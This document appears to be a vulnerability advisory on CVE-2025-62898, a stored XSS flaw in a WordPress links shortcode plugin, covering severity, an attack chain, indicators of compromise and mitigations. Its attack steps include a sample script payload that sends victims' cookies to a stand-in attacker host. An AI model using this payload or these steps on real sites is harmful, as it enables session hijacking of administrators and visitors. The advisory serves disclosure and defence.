CVE-2025-62898: 
WordPress vulnerability analysis and mitigation

CVE-2025-62898 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress Links shortcode plugin by Maarten, affecting all versions up to and including 1.8.3. The flaw stems from improper neutralization of user-supplied input during web page generation (CWE-79). It was reported on August 28, 2025, by researcher Muhammad Yudha - DJ and published by Patchstack on September 27, 2025. The CVE was formally published on October 27, 2025. It carries a CVSS v3.1 base score of 6.5 (Medium) (Patchstack VDP, Red Hat CVE).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting) and specifically manifests as Stored XSS within the Links shortcode WordPress plugin. An authenticated attacker with at least Contributor-level privileges can inject malicious scripts through plugin-controlled input fields (e.g., shortcode attributes or link data), which are then persistently stored and rendered unsanitized in the browser of any user who views the affected page. Exploitation requires low attack complexity over a network vector, but does require user interaction from a privileged user to trigger the stored payload (Patchstack VDP).

Successful exploitation allows an attacker to inject and persistently store malicious JavaScript or HTML payloads within the WordPress site, which execute in the browsers of visiting users, including administrators. This can lead to session hijacking, credential theft, unauthorized administrative actions (such as creating rogue admin accounts), defacement, or redirection of visitors to malicious sites. The CVSS scope is marked as Changed, indicating the impact extends beyond the vulnerable component to affect other users' browser sessions (Patchstack VDP).

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack classifies this as low priority, noting it is unlikely to be exploited, though XSS vulnerabilities of this class are sometimes used in mass-exploit campaigns targeting WordPress plugins at scale (Patchstack VDP).

1. Reconnaissance: Identify WordPress sites running the Links shortcode plugin version ≤ 1.8.3 using tools like WPScan or Shodan with WordPress plugin fingerprinting.
2. Obtain Contributor access: Register or compromise an account with at least Contributor-level privileges on the target WordPress site.
3. Inject malicious payload: Create or edit a post/page using the Links shortcode plugin, inserting a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable shortcode attribute or link field.
4. Publish content: Submit or save the content so the malicious payload is stored in the WordPress database.
5. Trigger execution: When an administrator or other privileged user visits the page containing the stored payload, the script executes in their browser, potentially stealing session cookies or performing actions on their behalf (Patchstack VDP).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints from Contributor-level accounts containing encoded script tags or JavaScript event handlers in shortcode-related parameters.
• Database: Unexpected <script> tags, javascript: URIs, or HTML event attributes (e.g., onerror, onload) stored in the wp_posts or wp_postmeta tables associated with links-shortcode content.
• Network: Outbound requests from victim browsers to unknown external domains shortly after loading pages containing Links shortcode content, potentially indicating cookie exfiltration or redirect activity.
• File System: No direct file system artifacts expected for stored XSS, but monitor for new or modified PHP files in the plugin directory (/wp-content/plugins/links-shortcode/) that could indicate secondary compromise.

As of the disclosure date, no official patched version of the Links shortcode plugin is available from the vendor. Site administrators should consider deactivating and removing the plugin until a fix is released. Restricting Contributor-level user registration and limiting who can publish content reduces the attack surface. Deploying a Web Application Firewall (WAF) with XSS filtering rules — such as those provided by Patchstack, Wordfence, or Cloudflare — can provide virtual patching in the interim (Patchstack VDP).

The vulnerability was discovered and disclosed through Patchstack's Vulnerability Disclosure Program (VDP) by researcher Muhammad Yudha - DJ. Patchstack classifies it as low priority with no impactful threat currently observed. No significant vendor statements, notable researcher commentary, or broader media coverage have been identified beyond the initial Patchstack advisory (Patchstack VDP).